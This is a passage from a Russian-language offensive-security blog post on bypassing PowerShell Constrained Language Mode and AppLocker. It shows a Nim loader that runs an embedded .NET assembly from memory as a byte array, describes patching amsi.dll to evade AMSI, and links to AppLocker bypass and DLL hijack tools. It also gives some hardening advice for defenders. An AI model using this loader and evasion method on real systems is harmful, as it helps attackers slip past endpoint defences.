0x00,0x74,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x50,0x00,0x73,0x00,0x42,0x00,0x79,0x00,0x32,0x00,0x00,0x00,0x34,0x00,0x08,0x00,0x01,0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x64,0x00,0x75,0x00,0x63,0x00,0x74,0x00,0x56,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x31,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x00,0x00,0x38,0x00,0x08,0x00,0x01,0x00,0x41,0x00,0x73,0x00,0x73,0x00,0x65,0x00,0x6D,0x00,0x62,0x00,0x6C,0x00,0x79,0x00,0x20,0x00,0x56,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x31,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x00,0x00,0xB4,0x43,0x00,0x00,0xEA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xEF,0xBB,0xBF,0x3C,0x3F,0x78,0x6D,0x6C,0x20,0x76,0x65,0x72,0x73,0x69,0x6F,0x6E,0x3D,0x22,0x31,0x2E,0x30,0x22,0x20,0x65,0x6E,0x63,0x6F,0x64,0x69,0x6E,0x67,0x3D,0x22,0x55,0x54,0x46,0x2D,0x38,0x22,0x20,0x73,0x74,0x61,0x6E,0x64,0x61,0x6C,0x6F,0x6E,0x65,0x3D,0x22,0x79,0x65,0x73,0x22,0x3F,0x3E,0x0D,0x0A,0x0D,0x0A,0x3C,0x61,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x20,0x78,0x6D,0x6C,0x6E,0x73,0x3D,0x22,0x75,0x72,0x6E,0x3A,0x73,0x63,0x68,0x65,0x6D,0x61,0x73,0x2D,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2D,0x63,0x6F,0x6D,0x3A,0x61,0x73,0x6D,0x2E,0x76,0x31,0x22,0x20,0x6D,0x61,0x6E,0x69,0x66,0x65,0x73,0x74,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x3D,0x22,0x31,0x2E,0x30,0x22,0x3E,0x0D,0x0A,0x20,0x20,0x3C,0x61,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x49,0x64,0x65,0x6E,0x74,0x69,0x74,0x79,0x20,0x76,0x65,0x72,0x73,0x69,0x6F,0x6E,0x3D,0x22,0x31,0x2E,0x30,0x2E,0x30,0x2E,0x30,0x22,0x20,0x6E,0x61,0x6D,0x65,0x3D,0x22,0x4D,0x79,0x41,0x70,0x70,0x6C,0x69,0x63,0x61,0x74,0x69,0x6F,0x6E,0x2E,0x61,0x70,0x70,0x22,0x2F,0x3E,0x0D,0x0A,0x20,0x20,0x3C,0x74,0x72,0x75,0x73,0x74,0x49,0x6E,0x66,0x6F,0x20,0x78,0x6D,0x6C,0x6E,0x73,0x3D,0x22,0x75,0x72,0x6E,0x3A,0x73,0x63,0x68,0x65,0x6D,0x61,0x73,0x2D,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2D,0x63,0x6F,0x6D,0x3A,0x61,0x73,0x6D,0x2E,0x76,0x32,0x22,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x3C,0x73,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x20,0x20,0x3C,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x50,0x72,0x69,0x76,0x69,0x6C,0x65,0x67,0x65,0x73,0x20,0x78,0x6D,0x6C,0x6E,0x73,0x3D,0x22,0x75,0x72,0x6E,0x3A,0x73,0x63,0x68,0x65,0x6D,0x61,0x73,0x2D,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2D,0x63,0x6F,0x6D,0x3A,0x61,0x73,0x6D,0x2E,0x76,0x33,0x22,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x3C,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x45,0x78,0x65,0x63,0x75,0x74,0x69,0x6F,0x6E,0x4C,0x65,0x76,0x65,0x6C,0x20,0x6C,0x65,0x76,0x65,0x6C,0x3D,0x22,0x61,0x73,0x49,0x6E,0x76,0x6F,0x6B,0x65,0x72,0x22,0x20,0x75,0x69,0x41,0x63,0x63,0x65,0x73,0x73,0x3D,0x22,0x66,0x61,0x6C,0x73,0x65,0x22,0x2F,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x20,0x20,0x3C,0x2F,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x50,0x72,0x69,0x76,0x69,0x6C,0x65,0x67,0x65,0x73,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x3C,0x2F,0x73,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x3E,0x0D,0x0A,0x20,0x20,0x3C,0x2F,0x74,0x72,0x75,0x73,0x74,0x49,0x6E,0x66,0x6F,0x3E,0x0D,0x0A,0x3C,0x2F,0x61,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x3E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x0C,0x00,0x00,0x00,0x90,0x3C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]

var assembly = load(buf)

var cmd: seq[string]
var i = 1
while i <= paramCount():
    cmd.add(paramStr(i))
    inc(i)
var arr = toCLRVariant(cmd, VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

Я удалил обход AMSI и сделал несколько замен строк, чтобы обойти его здесь. Кстати, если ваша сборка C # обнаружена AMSI, вы получите следующее сообщение об ошибке из двоичного файла Nim:

Error: unhandled exception: unable to invoke specified member: Load (0x80131604) [CLRError]

Если вам лень использовать обфускацию C# или создать свой собственный загрузчик Nim, включая зашифрованный, но не обфусцированный двоичный файл C#, расшифрованный во время выполнения, вы также можете использовать код шаблона OffensiveNim amsi_patch_bin.nim перед строкой EntryPoint.Invoke. Это будет выглядеть примерно так и исправляет amsi.dll перед загрузкой сборки .NET.

Чтобы объединить первую главу с этой - наш новый двоичный файл PSBypassCLM Nim также мог быть использован в моем задании:

Заключение

Мы узнали, что такое Constrained Language Mode и Applocker и как их обойти. Обход Constrained Language Mode в основном связан с прямым взаимодействием с .NET API вместо использования собственного Powershell.exe. Обход Applocker сильно зависит от используемой конфигурации. Конфигурация, содержащая каждую политику, может быть просмотрена любым зарегистрированным пользователем и впоследствии проанализирована на наличие слабых мест. Использование политики Applocker по умолчанию приводит к появлению множества общедоступных методов обхода с использованием собственных инструментов Windows, таких как Msbuild.exe, rundll32.exe и так далее. Я настоятельно рекомендую каждому защитнику, прочитавшему это, тем не менее, включить Constrained Language Mode хотя бы на всех клиентах. Applocker с хорошей конфигурацией делает практически невозможным успешное выполнение кода любым вредоносным ПО, поэтому это также рекомендуется. Однако следует позаботиться о том, чтобы повседневная работа не имела никакого влияния, поскольку законные приложения заблокированы.

Использование Nim для целей Offensive Security имеет несколько замечательных преимуществ. Он компилируется непосредственно в C/C ++, что дает нам все преимущества этих языков. Даже без хороших навыков в C/C ++ вместо него легко использовать Nim и получить от него ценный двоичный код C. Репозиторий OffensiveNim byt3bl33d3r предлагает множество примеров шаблонов, начиная от простого MessageBox, встраивания кода C в Nim, подмены PPID и BlockDLL, выполнения шелл-кода и многого другого до рефлексивного выполнения сборок .NET из памяти. Мы сосредоточились на создании байтового массива Nim из любого двоичного кода C#, чтобы создать собственный скомпилированный на C двоичный файл с шаблоном execute_assembly_bin.nim. Мы увидели, как анализировать параметры в Nim, а затем передавать их в сборку C#. И последнее, но не менее важное: мы использовали шаблон Nim AMSI для исправления amsi.dll перед загрузкой сборки .NET из памяти.

Перенос существующих инструментов на другой язык МОЖЕТ быть использован для AV-Evasion, но я думаю, что появление подписей для шаблонов OffensiveNim - это лишь вопрос времени. Поэтому рекомендуется настроить их и/или скрыть сборки .NET перед их внедрением.

Ссылки и ресурсы

- OffensiveNim - https://github.com/byt3bl33d3r/OffensiveNim
- Constrained Language Mode - https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/
- Powershell Runspace - https://docs.microsoft.com/en-us/po...owershell-host-quickstart?view=powershell-7.1
- PSByPassCLM - https://github.com/padovah4ck/PSByPassCLM
- PowerShdll - https://github.com/p3nt4/PowerShdll
- InsecurePowershell - https://github.com/cobbr/InsecurePowerShell
- PowerLessShell - https://github.com/Mr-Un1k0d3r/PowerLessShell
- MSBuildShell - https://github.com/Cn33liz/MSBuildShell
- Applocker - https://docs.microsoft.com/en-us/wi...plication-control/applocker/what-is-applocker
- Generic Applocker bypass - https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
- Verified Applocker bypass - https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md
- Find writable PATH Environment variable locations - https://gist.github.com/wdormann/eb714d1d935bf454eb419a34be266f6f
- Connected Devices Platform Service (CDPSvc) DLL Hijack - http://zeifan.my/security/eop/2019/11/05/windows-service-host-process-eop.html
- Windows 10 Task Scheduler service DLL Hijack - https://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html
- Windows Server 2008R2 - 2019 NetMan DLL Hijacking https://itm4n.github.io/windows-server-netman-dll-hijacking/
- UsoDllLoader - https://github.com/itm4n/UsoDllLoader
- WerTrigger - https://github.com/sailay1996/WerTrigger
- Faxhell - https://github.com/ionescu007/faxhell
- FileWrite2System - https://github.com/sailay1996/awesome_windows_logical_bugs/blob/master/FileWrite2system.txt
- IlSpy - https://github.com/icsharpcode/ILSpy
- dnSpy - https://github.com/dnSpy/dnSpy
- Ida Pro - https://www.hex-rays.com/products/ida/
- Ghidra - https://ghidra-sre.org/
- execute_assembly_bin.nim template - https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/execute_assembly_bin.nim
- Rubeus - https://github.com/GhostPack/Rubeus
- Nim execute assembly + AMSI bypass gist - https://gist.github.com/S3cur3Th1sSh1t/06733ce759fe8844fc2ce7b3c609bfd5